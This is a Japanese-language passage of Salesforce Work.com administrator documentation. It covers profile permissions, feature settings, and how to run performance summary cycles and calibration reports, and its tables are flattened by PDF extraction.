Work.com 調整の有効化

Chatter のモデレート
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有効システム権限

設定・定義を参照する

関連トピック:

Work.com 機能へのアクセス
Work.com 権限セットの割り当て

推奨される Work.com プロファイル
エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Work.com ユーザの種別ごとに異なるプロファイルを作成します。
Work.com ユーザの種別ごとに新しいプロファイルを作成します。プロファイル
の作成についての詳細は、[拡張プロファイルユーザインターフェースを有効化]

設定が有効かどうかに応じて、「元のプロファイルインターフェースでの操作」
または「拡張プロファイルユーザインターフェースページでの操作」のいずれ
かを参照してください。

メモ:  Professional Edition 組織では、既存のプロファイルを使用してアクセス
権を付与する必要があります。Work.com 限定ユーザ、Chatter 限定ユーザ、
標準ユーザのプロファイルは、Work.com オブジェクトへの基本的なアクセ
ス権を付与します。システム管理者のプロファイルは、ユーザに Work.com

の全機能への完全な管理者アクセス権を付与します。
次の表を参考にして、各プロファイルの適切なオブジェクト設定およびシステム権限を割り当てます。

標準ユーザ
標準ユーザのプロファイルは、ユーザに Work.com の基本的な全機能の使用を許可します。

表 38 : 標準ユーザのオブジェクト設定
すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

デフォルトで表示バッジ (タブ)

コーチング (オブジェク
ト)

デフォルトで表示コーチング (タブ)

ドキュメント

支持
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すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

フィードバック (オブ
ジェクト)

フィードバック質問

フィードバック質問セッ
ト

デフォルトで表示フィードバック要求
(および [フィードバック]

タブ)

目標リンク

目標 (オブジェクト)

目標 ([完了日] 項目)

目標 ([主要な会社目標] 項
目)

デフォルトで表示目標 (タブ)

総計値データリンク

総計値

デフォルトで表示パフォーマンスサイクル

デフォルトで表示レコグニション (タブ)

デフォルトで表示報奨資金

デフォルトで表示報奨資金種別

報奨

デフォルトで表示スキル

スキルユーザ
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表 39 : 標準ユーザのシステム権限
有効システム権限

API の有効化

行動の編集

ToDo の編集

パフォーマンスサイクルマネージャ
パフォーマンスサイクルマネージャのプロファイルは通常、パフォーマンスサマリーを作成して従業員にリ
リースする場合に使用します。

表 40 : パフォーマンスサイクルマネージャのオブジェクト設定
すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

デフォルトで表示バッジ (タブ)

デフォルトで表示調整 (タブ)

コーチング (オブジェク
ト)

デフォルトで表示コーチング (タブ)

ドキュメント

支持

フィードバック (オブ
ジェクト)

フィードバック質問

フィードバック質問セッ
ト

デフォルトで表示フィードバック要求
(および [フィードバック]

タブ)

目標リンク

目標 (オブジェクト)
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すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

目標 ([完了日] 項目)

目標 ([主要な会社目標] 項
目)

デフォルトで表示目標 (タブ)

総計値データリンク

総計値

デフォルトで表示パフォーマンスサイクル

デフォルトで表示レコグニション (タブ)

デフォルトで表示報奨資金

デフォルトで表示報奨資金種別

報奨

デフォルトで表示スキル

スキルユーザ

表 41 : パフォーマンスサイクルマネージャのシステム権限
有効システム権限

API の有効化

行動の編集

ToDo の編集

Work.com 調整の有効化

設定・定義を参照する

Work.com 管理者
Work.com管理者のプロファイルは、ユーザにWork.comのすべてのオブジェクトおよび機能への完全な管理者ア
クセス権を付与します。
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表 42 : Work.com 管理者のオブジェクト設定
すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

デフォルトで表示バッジ (タブ)

デフォルトで表示調整 (タブ)

コーチング (オブジェク
ト)

デフォルトで表示コーチング (タブ)

ドキュメント

支持

フィードバック (オブ
ジェクト)

フィードバック質問

フィードバック質問セッ
ト

デフォルトで表示フィードバック要求
(および [フィードバック]

タブ)

目標リンク

目標 (オブジェクト)

目標 ([完了日] 項目)

目標 ([主要な会社目標] 項
目)

デフォルトで表示目標 (タブ)

総計値データリンク

総計値

デフォルトで表示パフォーマンスサイクル

デフォルトで表示レコグニション (タブ)

デフォルトで表示報奨資金
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すべて
のデー
タの編
集
(MAD)

すべての
データの
参照
(VAD)

削除編集作成参照タブ設定オブジェクト名

デフォルトで表示報奨資金種別

報奨

デフォルトで表示スキル

スキルユーザ

表 43 : Work.com 管理者のシステム権限
有効システム権限

API の有効化

カスタムバッジ定義の作成

行動の編集

ToDo の編集

Work.com 調整の有効化

Chatter のモデレート

設定・定義を参照する

関連トピック:

Work.com 機能へのアクセス
Work.com プロファイルの割り当て
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Work.com 機能の管理

Work.com の設定の有効化または無効化
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Work.com の設定を編集す
る
• 「アプリケーションの

カスタマイズ」

Work.com の [設定] ページでは、感謝、報奨、調整、スキルなど、組織の機能を
有効化および無効化することができます。
[感謝設定] および [スキル設定] 以外のすべての設定には、Work.comライセンスが
必要です。Work.com は、Professional Edition、Enterprise Edition、または Unlimited

Editionのアドオンライセンスとして取得できます。また、Performance Editionに
は含まれています。
1. [設定] から、[クイック検索] ボックスに「Work.com の設定」と入力して、

[Work.com の設定] を選択します。
2. 有効にするWork.com機能を選択するか、無効にする機能を選択解除します。

説明セクション機能

感謝を有効にし、Chatter フィードで感
謝バッジによって他のユーザを表彰で
きるようにします。
この設定を無効にすると、ユーザには
Chatter パブリッシャーの [感謝] アク
ションが表示されなくなります。ただ

感謝設定感謝の有効化

し、それより前に作成された感謝投稿
は引き続き表示されます。

デフォルトでは、すべてのユーザがカ
スタムバッジを作成できます。この設

感謝設定カスタムバッジ
の作成者の制限

定は、報奨オブジェクトに対する「作
成」権限を持つユーザに、バッジの作
成を制限します。

報奨を有効にして、具体的な報奨を
バッジに関連付けます。報奨の作成者

評価設定報奨の有効化

は、ギフトコードをアップロードして
報奨資金を作成できます。報奨の作成
についての詳細は、「報奨資金」ト
ピックを参照してください。

マネージャグループを有効にして、部
下のユーザのコーチングスペースへの

コーチング設定コーチングのマ
ネージャグルー
プの有効化 アクセス権をマネージャに付与しま

す。この設定を有効にするには、最初
に [設定] の [共有設定] にある [マネー
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説明セクション機能

ジャグループ] 設定を有効にする必要があります。

マネージャグループを有効にして、部下のユーザの目
標へのアクセス権をマネージャに付与します。この設

目標設定目標のマネージャグルー
プの有効化

定を有効にするには、最初に [設定] の [共有設定] にあ
る [マネージャグループ] 設定を有効にする必要があり
ます。

調整を有効にして、チームまたは複数のユーザにまた
がってパフォーマンスを表示および更新します。

実行設定調整の有効化

メモ: Performance Edition 組織の場合、契約管理
者、マーケティングユーザ、参照のみ、ソリュー
ション管理者の各プロファイルでは調整を使用
できません。

スキルを有効にして、ユーザが自分のプロファイルに
スキルを追加したり、他のユーザのスキルを支持した

スキル設定スキルの有効化

りできるようにします。この設定を有効化すると、
Chatter プロファイルの [知識のある分野] ウィジェット
が置き換えられます。

Chatterプロファイルのスキルと支持のインライン編集
を無効にし、レコード詳細ページの編集を制限しま

スキル設定レコード詳細ページでの
スキルと支持の編集の制
限 す。カスタム必須項目でこれらのオブジェクトをカス

タマイズした場合にお勧めします。

メモ: Chatterプロファイルのスキルを使用する場
合は、この設定を有効化しないでください。

ユーザが新しいスキルを追加したときに、Chatterフィー
ド投稿を自動的に作成できるようにします。

スキル設定スキルの自動フィード投
稿の有効化

推奨スキルを有効にして、スキルウィジェットがChatter

でのトピック活動に基づいてユーザが追加するスキル
を提案するようにします。

スキル設定推奨スキルの有効化
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3. [保存] をクリックします。

関連トピック:

Work.com 実装の概要
パフォーマンスサマリーサイクルの概要
Work.com のエディションおよび権限
調整の概要
スキルのカスタマイズ
サポートケースの作成

Work.com のエディションおよび権限
エディション

使用可能なエディション:
Salesforce Classic

Work.comは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

ほとんどのWork.com機能にはWork.comアドオンが必要ですが、Sales Cloud ユーザ
はスキルおよび感謝機能 (報奨を除く) を無料で利用できます。各タスクで必要
な権限と設定は、機能エリア別に分けられています。

一般的な Work.com 管理者タスク
これには、Work.com の管理と実装に関するタスクが含まれます。

必要な設定とユーザ権限管理者タスク

「アプリケーションのカスタマイズ」Work.com 機能を有効化する

「アプリケーションのカスタマイズ」Work.com 管理者を割り当てる

「権限セットの割り当て」権限セットを割り当てる

「ユーザの管理」プロファイルを割り当てる

「ユーザの管理」ユーザライセンスを割り当てる

「ユーザの管理」ユーザ機能ライセンスを割り当てる

「アプリケーションのカスタマイズ」アクションを設定する

「アプリケーションのカスタマイズ」フィードの項目追跡をカスタマイズす
る

「プロファイルと権限セットの管理」
「アプリケーションのカスタマイズ」

項目レベルセキュリティを設定する

感謝および報奨タスク
これには、感謝バッジおよび報奨の参照や作成など、Work.com エンドユーザのタスクが含まれます。
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必要な設定とユーザ権限エンドユーザタスク

追加のユーザ権限は必要ありません[バッジ] タブを参照する

ドキュメントに対する「作成」
[カスタムバッジの作成者の制限] 設定はデフォルトで
無効になっています。この設定が有効になっている場

バッジを作成する

合は、ユーザに「カスタムバッジ定義を作成」権限が
必要です。

報奨資金に対する「参照」報奨資金を参照する

報奨に対する「作成」
報奨資金に対する「作成」

報奨資金を作成する

報奨資金種別に対する「参照」報奨資金種別を参照する

報奨資金種別に対する「作成」
報奨資金に対する「参照」および「作成」

報奨資金種別を作成する

報奨に対する「参照」および「作成」

スキルタスク
これには、スキルを使用する Work.com エンドユーザのタスクが含まれます。

必要な設定とユーザ権限エンドユーザタスク

スキルおよびスキルユーザに対する「作成」スキルを追加する

スキルに対する「参照」
スキルユーザに対する「削除」

スキルを削除する

支持に対する「作成」
スキルおよびスキルユーザに対する「参照」

スキルへの支持を追加する

目標タスク
これには、目標を使用する Work.com エンドユーザのタスクが含まれます。

必要な設定とユーザ権限エンドユーザタスク

目標および目標リンクに対する「参照」目標を参照する

目標および目標リンクに対する「作成」目標を作成する

目標および目標リンクに対する「編集」目標を編集する
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必要な設定とユーザ権限エンドユーザタスク

目標および目標リンクに対する「削除」目標を削除する

総計値タスク
これには、総計値を使用する Work.com エンドユーザのタスクが含まれます。

必要な設定とユーザ権限エンドユーザタスク

総計値に対する「参照」総計値を参照する

総計値に対する「作成」権限総計値を作成する

総計値データリンクに対する「作成」権限レポートに総計値をリンクする

コーチングタスク
これには、コーチングスペースを使用する Work.com エンドユーザのタスクが含まれます。

必要な設定とユーザ権限エンドユーザタスク

コーチングに対する「参照」コーチングスペースを参照する

コーチングに対する「作成」コーチングスペースを作成する

コーチングに対する「編集」コーチングを無効に設定する

フィードバックタスク
これには、フィードバックを使用する Work.com エンドユーザのタスクが含まれます。

必要な設定とユーザ権限エンドユーザタスク

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求に対する「参照」
パフォーマンスサイクルに対する「参照」

フィードバックを参照する

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求に対する「作成」
パフォーマンスサイクルに対する「参照」

フィードバックを作成する

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求に対する「編集」
パフォーマンスサイクルに対する「参照」

フィードバックを編集または送信する
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必要な設定とユーザ権限エンドユーザタスク

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求に対する「削除」
パフォーマンスサイクルに対する「参照」

フィードバックを削除する (MAD/VAD 権限を持つ管理
者のみ)

パフォーマンスサマリータスク
これには、パフォーマンスサマリーを使用する Work.com エンドユーザのタスクが含まれます。

必要な設定とユーザ権限エンドユーザタスク

パフォーマンスサイクルに対する「参照」パフォーマンスサマリーを参照する

パフォーマンスサイクルに対する「作成」パフォーマンスサマリーを作成する

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求に対する「作
成」、「参照」、および「編集」
パフォーマンスサイクルに対する「参照」

パフォーマンスサマリーに回答して送信する

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求に対する「作
成」、「参照」、および「編集」
パフォーマンスサイクルに対する「参照」

パフォーマンスサマリーにピアを追加する

パフォーマンスサマリーサイクルタスク
これには、パフォーマンスサマリーサイクルを管理する Work.com 管理者のタスクが含まれます。

必要な設定とユーザ権限管理者タスク

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求、パフォーマンス

パフォーマンスサマリーサイクルを作成する

サイクルに対する「作成」、「参照」、「編集」、
「削除」、「すべての参照」、および「すべての編
集」

「設定・定義を参照する」
フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求、パフォーマンス

パフォーマンスサマリーサイクルにユーザを追加する

サイクルに対する「作成」、「参照」、「編集」、
「削除」、「すべての参照」、および「すべての編
集」
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必要な設定とユーザ権限管理者タスク

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求、パフォーマンス

パフォーマンスサマリーサイクルからユーザを削除す
る

サイクルに対する「作成」、「参照」、「編集」、
「削除」、「すべての参照」、および「すべての編
集」

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求、パフォーマンス

パフォーマンスサマリーサイクルを編集する

サイクルに対する「作成」、「参照」、「編集」、
「削除」、「すべての参照」、および「すべての編
集」

「Work.com 調整の有効化」[調整] タブを参照する

フィードバック、フィードバック質問、フィードバッ
ク質問セット、フィードバック要求に対する「作
成」、「参照」、および「編集」
パフォーマンスサイクルに対する「参照」

パフォーマンスの評価を編集する

「Work.com 調整の有効化」

関連トピック:

Work.com の設定の有効化または無効化
Work.com 実装の概要

サポートケースの作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

すべてのエディションで
使用可能

特定の権限を有効にする必要がある場合や技術的な問題が生じた場合は、サポー
トに新規ケースを登録します。
1. Salesforce にログインし、[ヘルプ & トレーニング] ページに移動します。
2. [【カスタマーサポートへの連絡】] セクションで、[ケースを作成] をクリッ

クします。
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3. サポートトピックとカテゴリを選択します。
たとえば、Work.com に関連する問題の場合は、[[[Sales Cloud]]] > [Work.com] をクリックします。

4. 問題に関連する質問を選択します。
5. 問題の解決策が見つからない場合は、[新規ケースを登録] をクリックします。

6. ケースの詳細を入力し、[送信] をクリックします。

メモ: 関連ファイルを添付するには、ケースの作成後に [ファイルを添付] をクリックします。

関連トピック:

Work.com の設定の有効化または無効化
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パフォーマンスサマリーサイクルの概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

Work.com パフォーマンスサマリーサイクルを使用して、会社全体でパフォーマ
ンスサマリーを作成、リリース、および共有します。
一般的なパフォーマンスサマリーサイクルでは、次の操作を実行できます。
1. 計画 — パフォーマンスサマリーサイクルを作成し、レビュー対象のユーザ

を追加します。
2. リリース — ユーザがパフォーマンスサマリーを完了できるようにします。
3. 評価 — パフォーマンスサマリーに記入して送信します。
4. 調整 — 調整機能を使用して、送信されたパフォーマンスサマリーを必要に

応じて比較および更新します。
5. 共有 — 送信されたパフォーマンスサマリーを、サマリーの対象者と共有し

ます。
6. 完了 — パフォーマンスサマリーサイクルを終了します。
最近参照したパフォーマンスサイクルのリストを表示するには、[パフォーマン
スサイクル] タブをクリックします。

メモ:  [パフォーマンスサイクル] タブが表示されない場合は、右上にある
Force.com アプリケーションドロップダウンメニューから Work.com を選択す
るか、現在のタブの右側にある をクリックして [すべてのタブ] ページか
ら [パフォーマンスサイクル] タブを選択します。

[新規]をクリックしてパフォーマンスサイクルを作成するか、サイクルの名前をクリックして詳細を表示しま
す。
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このページでは、次の操作を実行できます。
• パフォーマンスサマリーサイクルに関する詳細を参照する。
• サイクルで操作を実行する。実行可能な操作はサイクルの状態によって決まり、[コピー]、[編集]、[リリー

ス]、[削除]、[すべて共有]、[完了] という操作があります。
• パフォーマンスサイクルに関連する質問にアクセスする。
• パフォーマンスサマリーのフィードバック要求のリストを表示する。また、対象者を個別に追加したり、

CSV ファイルをアップロードして一括で追加したりできます。
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• パフォーマンスサイクルで実行されたジョブ (サイクルのリリースやパフォーマンスサマリーの共有など)

のリストを表示する。

関連トピック:

パフォーマンスサマリーの概要
パフォーマンスサマリーサイクルの作成
パフォーマンスサマリーサイクルへのユーザの追加
パフォーマンスサマリーサイクルからのユーザの削除
パフォーマンスサマリーサイクルのリリース
パフォーマンスサマリーサイクルのアクション
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パフォーマンスサマリーサイクルの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

ユーザ権限

パフォーマンスサマリー
を参照する
• パフォーマンスサイク

ルに対する「参照」

パフォーマンスサマリー
サイクルを作成する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求、パフォーマン
スサイクルに対する
「作成」、「参照」、
「編集」、「削除」、
「すべての編集」、お
よび「すべての参照」

[パフォーマンスサイクル] ページから Work.com パフォーマンスサマリーサイク
ルを作成して、組織のユーザに関するフィードバックを収集します。
1. [パフォーマンスサイクル] タブをクリックします。

[パフォーマンスサイクル] タブが表示されない場合は、右上にある Force.com

アプリケーションドロップダウンメニューからWork.comを選択するか、現在
のタブの右側にある をクリックして [すべてのタブ] ページから [パフォー
マンスサイクル] タブを選択します。

2. [新規] をクリックします。

メモ: 別のパフォーマンスサイクルの詳細ページで [コピー] をクリック
してパフォーマンスサイクルを作成することもできますが、サイクルの
コピーでは、サイクル名、活動開始日、および活動終了日のみがコピー
されます。質問セット、期日、およびその他の詳細はコピーされませ
ん。

3. サイクル名、活動開始日、活動終了日を入力します。
4. [保存] をクリックします。
5. [新規フィードバック質問セット] をクリックします。
6. 質問セット名、フィードバック種別、および期日を入力します。

質問セットにより、対象者に応じて質問がグループ化されます。たとえば、
Bill Jones に関するパフォーマンスサマリーには、最大 4 つの異なる対象者を
指定できます。
• マネージャサマリー — Bill のマネージャへの質問。デフォルトでは、どの

サイクルにもマネージャサマリーが含まれます。
• セルフサマリー — Bill への質問
• ピアサマリー — Bill のピアへの質問
• スキップレベルサマリー — Bill の直属部下への質問

7. [保存] をクリックします。
8. [新規フィードバック質問] をクリックします。
9. 質問の詳細を入力します。

各質問にルールを指定できます。
• 省略可能 — サマリーに記入するユーザは、この質問に回答する必要はあ

りません。
• 機密 — サマリーの対象者には、送信された回答は表示されません。この

ルールは、セルフサマリーには使用できません。
また、各質問の先頭に説明を追加してもかまいません。

10. [保存] をクリックします。
11. 必要に応じて、他の質問セットや質問を追加します。
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質問の追加が完了したら、ユーザをパフォーマンスサマリーサイクルに追加します。

関連トピック:

パフォーマンスサマリーサイクルの概要
パフォーマンスサマリーの概要
パフォーマンスサマリーサイクルへのユーザの追加
パフォーマンスサマリーサイクルのリリース
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パフォーマンスサマリーサイクルへのユーザの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。
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ユーザ権限

パフォーマンスサマリー
を参照する
• パフォーマンスサイク

ルに対する「参照」

パフォーマンスサマリー
サイクルにユーザを追加
する
• 「設定・定義を参照す

る」

および

フィードバック、
フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求、パフォーマン
スサイクルに対する
「作成」、「参照」、
「編集」、「削除」、
「すべての編集」、お
よび「すべての参照」

ユーザをパフォーマンスサマリーサイクルに手動または CSV ファイルを使用し
て追加します。
ユーザを追加できるのは、状況が [設定] または [処理中] のサマリーサイクルの
みです。
1. [パフォーマンスサイクル] タブをクリックします。

[パフォーマンスサイクル] タブが表示されない場合は、右上にある Force.com

アプリケーションドロップダウンメニューからWork.comを選択するか、現在
のタブの右側にある をクリックして [すべてのタブ] ページから [パフォー
マンスサイクル] タブを選択します。

2. パフォーマンスサマリーサイクルをクリックします。
3. [フィードバック要求] セクションで、パフォーマンスサイクルにユーザを追

加します。
• 対象ユーザを手動で入力するには、[対象ユーザを追加] をクリックしま

す。ユーザの名前を入力して、[保存] をクリックします。
• 対象ユーザを CSV ファイルを使用してアップロードするには、[対象ユー

ザの CSV をアップロード] をクリックして、[ファイルを選択] を選択しま
す。CSV ファイルを選択して、[アップロード] をクリックし、変更を保存
します。
CSV ファイルには 1 列目にユーザ ID (例: 005R0000000DjZW) またはユーザ名
(例: john@acme.com) のいずれかのリストが記載されています。1 行目はヘッ
ダー行として表示され、アップロードされないため、データは 2 行目以降に記載します。

ヒント: 多くの組織では、パフォーマンスサマリーサイクルへの追加に関して固有の要件がありま
す。ユーザレポートを使用して、パフォーマンスサマリーに追加するユーザのリストを絞り込み、
そこからユーザ名を取得します。

ジョブトラッカーに CSV のアップロード状況が表示されます。また、[フィードバック要求] セクションでパ
フォーマンスサマリーに追加されているユーザを確認できます。

関連トピック:

パフォーマンスサマリーサイクルの概要
パフォーマンスサマリーサイクルのリリース
パフォーマンスサマリーサイクルからのユーザの削除
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パフォーマンスサマリーサイクルからのユーザの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

ユーザ権限

パフォーマンスサマリー
を参照する
• パフォーマンスサイク

ルに対する「参照」

パフォーマンスサマリー
サイクルからユーザを削
除する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求、パフォーマン
スサイクルに対する
「作成」、「参照」、
「編集」、「削除」、
「すべての編集」、お
よび「すべての参照」

評価する必要のないユーザを追加した場合、パフォーマンスサマリーサイクル
から削除できます。
ユーザを削除できるのは、状況の値が [設定] のサマリーサイクルのみです。
1. [パフォーマンスサイクル] タブをクリックします。

[パフォーマンスサイクル] タブが表示されない場合は、右上にある Force.com

アプリケーションドロップダウンメニューからWork.comを選択するか、現在
のタブの右側にある をクリックして [すべてのタブ] ページから [パフォー
マンスサイクル] タブを選択します。

2. パフォーマンスサマリーサイクルをクリックします。
3. [フィードバック要求] セクションで、削除する対象ユーザの [アクション] 列

にある [削除] をクリックします。

関連トピック:

パフォーマンスサマリーサイクルの概要
パフォーマンスサマリーサイクルのリリース
パフォーマンスサマリーサイクルへのユーザの追加
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パフォーマンスサマリーサイクルのリリース

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

ユーザ権限

パフォーマンスサマリー
サイクルを編集する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求、パフォーマン
スサイクルに対する
「作成」、「参照」、
「編集」、「削除」、
「すべての編集」、お
よび「すべての参照」

パフォーマンスサマリーサイクルをリリースして、ユーザがサマリーを完了で
きるようにします。

メモ: パフォーマンスサマリーサイクルのリリース後には、質問またはサ
イクルの詳細を編集することはできませんが、他のユーザを追加すること
はできます。

1. [パフォーマンスサイクル] タブをクリックします。
[パフォーマンスサイクル] タブが表示されない場合は、右上にある Force.com

アプリケーションドロップダウンメニューからWork.comを選択するか、現在
のタブの右側にある をクリックして [すべてのタブ] ページから [パフォー
マンスサイクル] タブを選択します。

2. パフォーマンスサマリーサイクルをクリックします。
3. [リリース] をクリックします。

無効ユーザは、サイクルのリリース前に自動的に削除されます。リリースが
完了すると、サイクルのリリースおよび削除されたユーザの詳細が記載され
たメールが送信されます。必要に応じて、削除されたユーザを後で追加し直
すことができます。

リリースすると、サイクルに追加された各ユーザのマネージャにマネージャサ
マリーが割り当てられます。サイクルにセルフサマリーが含まれる場合は、関
連付けられているユーザにセルフサマリーが割り当てられます。サマリーが割
り当てられている各ユーザにはメール通知が送信され、自分のサマリーで作業
を開始できます。

関連トピック:

パフォーマンスサマリーサイクルの概要
パフォーマンスサマリーの概要
パフォーマンスサマリーサイクルの作成
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パフォーマンスサマリーサイクルのアクション

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パフォーマンスサマリー
には、Work.comのライセ
ンスが必要です。このラ
イセンスは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

パフォーマンスサイクルの詳細ページで使用できるアクションは、サイクルの
状態によって異なります。

説明使用可能な状況アクション

ユーザがサイクルの名前、活動開始日、
活動終了日を入力できます。

設定編集

サマリーサイクルおよび関連サマリー
をリリースします。サマリーサイクル
の状況を [処理中] に変更します。

設定リリース

サマリーサイクルおよび関連サマリー
を削除します。

設定削除

パフォーマンスサマリーサイクルを完
了し、サマリーの状況を [完了] に変更
します。また、却下されたサマリーや
送信されなかったサマリーを削除しま
す。

処理中完了

サマリーサイクルをコピーします。サ
イクルの名前、活動開始日、活動終了
日がコピーされます。ただし、質問セッ
ト、期日、ユーザ、その他の詳細はコ
ピーされません。

設定、処理中、完了コピー

送信されたパフォーマンスサマリーを、
サマリーの対象者と共有します。「機

処理中すべて共有

密」とマークされた質問は含まれませ
ん。

関連トピック:

パフォーマンスサマリーサイクルの概要
パフォーマンスサマリーサイクルの作成
パフォーマンスサマリーサイクルのリリース
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調整の概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

調整には、Work.comライ
センスが必要です。この
ライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

[調整] タブを参照する
• 「Work.com 調整の有

効化」

パフォーマンスの評価を
編集する
• フィードバック、

フィードバック質問、
フィードバック質問
セット、フィードバッ
ク要求に対する「作
成」、「参照」、およ
び「編集」

および

パフォーマンスサイク
ルに対する「参照」

会社全体のパフォーマンスの評価を可視化、比較、更新するには、Work.com の
調整レポートを使用します。

メモ: Performance Edition 組織の場合、契約管理者、マーケティングユー
ザ、参照のみ、ソリューション管理者の各プロファイルでは調整を使用で
きません。

調整レポートには、パフォーマンスサマリーサイクルのデータが入力されます。
このレポートは、マネージャおよび役員がチームまたは組織の全体的なパフォー
マンスを確認するために設計されています。パフォーマンスの優劣をすばやく
把握し、ユーザ権限に応じて個人のパフォーマンスの評価を調整レポートで直
接変更できます。
独自の調整レポートを作成するか、[パッケージのインストール] ページから調整
レポートパッケージをダウンロードします。
• 本番用調整レポートパッケージ
• Sandbox 用調整レポートパッケージ
調整レポートには、[調整] タブからアクセスします。一度に参照できるのは、1

つのパフォーマンスサマリーサイクルの結果のみです。
分布グラフには、複数選択肢の質問ごとに評価の分布が表示されます。関連す
る評価の分布を参照するには、ドロップダウンリストで異なる質問を選択しま
す。
[従業員数のグラフ] セクションには、パフォーマンスレビューに含まれるユーザ
のパフォーマンスサマリー詳細が表示されます。各列は、絞り込みおよび並び
替えすることができます。列を絞り込むと、分布グラフも更新されます。また、
カスタム列を追加して、場所、部署、その他の手段でパフォーマンスサマリー
詳細を絞り込むこともできます。個々のパフォーマンスサマリーを参照するに
は、[参照] 列をクリックします。

関連トピック:

Work.com の設定の有効化または無効化
調整レポートの作成
調整レポートのカスタマイズ
パフォーマンスサマリー詳細の更新
調整レポートの詳細のエクスポート
パフォーマンスサマリーサイクルの概要
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調整レポートの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

調整には、Work.comライ
センスが必要です。この
ライセンスは、
Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

[調整] タブを参照する
• 「Work.com 調整の有

効化」

既存のレポートをコピーするか、適切な条件を満たす新規レポートを作成して、
調整レポートを作成します。
または、[パッケージのインストール] ページから調整レポートパッケージをダウ
ンロードできます。
• 本番用調整レポートパッケージ
• Sandbox 用調整レポートパッケージ
1. [調整] タブで、ドロップダウンリストから調整レポートを選択します。
2. [レポートを表示/編集] をクリックします。
3. [別名で保存] をクリックします。
4. 名前、説明 (省略可能)、一意の名前を入力し、レポートフォルダを指定しま

す。
レポートが公開フォルダに保存された場合、フォルダの参照権限があるユー
ザすべてにこのレポートは表示されますが、各ユーザに表示されるのは、ア
クセス権があるパフォーマンスサマリーのみです。レポートが [私の非公開
カスタムレポート] に保存された場合、本人のみが調整レポートを表示でき
ます。

5. [保存してレポートに戻る] をクリックします。

ヒント: 新規レポートを作成することもできます。レポートが特定の条
